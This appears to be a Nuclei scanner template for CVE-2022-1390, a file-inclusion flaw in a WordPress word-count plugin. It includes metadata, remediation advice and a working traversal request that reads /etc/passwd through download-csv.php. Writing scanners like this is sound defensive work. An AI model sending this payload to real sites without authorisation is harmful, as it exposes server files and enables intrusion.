47 lines
1.9 KiB
YAML
47 lines
1.9 KiB
YAML
id: CVE-2022-1390
|
|
|
|
info:
|
|
name: WordPress Admin Word Count Column 2.2 - Local File Inclusion
|
|
author: daffainfo,Splint3r7
|
|
severity: critical
|
|
description: |
|
|
The plugin does not validate the path parameter given to readfile(), which could allow unauthenticated attackers to read arbitrary files on server running old version of PHP susceptible to the null byte technique. This could also lead to RCE by using a Phar Deserialization technique.
|
|
remediation: |
|
|
Update to the latest version of the WordPress Admin Word Count Column plugin (2.2 or higher) to fix the local file inclusion vulnerability.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/166476/WordPress-Admin-Word-Count-Column-2.2-Local-File-Inclusion.html
|
|
- https://wordpress.org/plugins/admin-word-count-column/
|
|
- https://wpscan.com/vulnerability/6293b319-dc4f-4412-9d56-55744246c990
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-1390
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-1390
|
|
cwe-id: CWE-22
|
|
epss-score: 0.96303
|
|
epss-percentile: 0.994
|
|
cpe: cpe:2.3:a:admin_word_count_column_project:admin_word_count_column:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: admin_word_count_column_project
|
|
product: admin_word_count_column
|
|
framework: wordpress
|
|
tags: packetstorm,wpscan,cve,cve2022,wordpress,wp-plugin,lfi,wp
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\0'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:[x*]:0:0"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022078023c279db478d98719def7d8e735994292eaf0fb16a228d065cb78c67fb967022100986e1d8e0a41fcd18fdad6145b787292656ba4f6c25243165a33adb3163c9a87:922c64590222798bb761d5b6d8e72950
|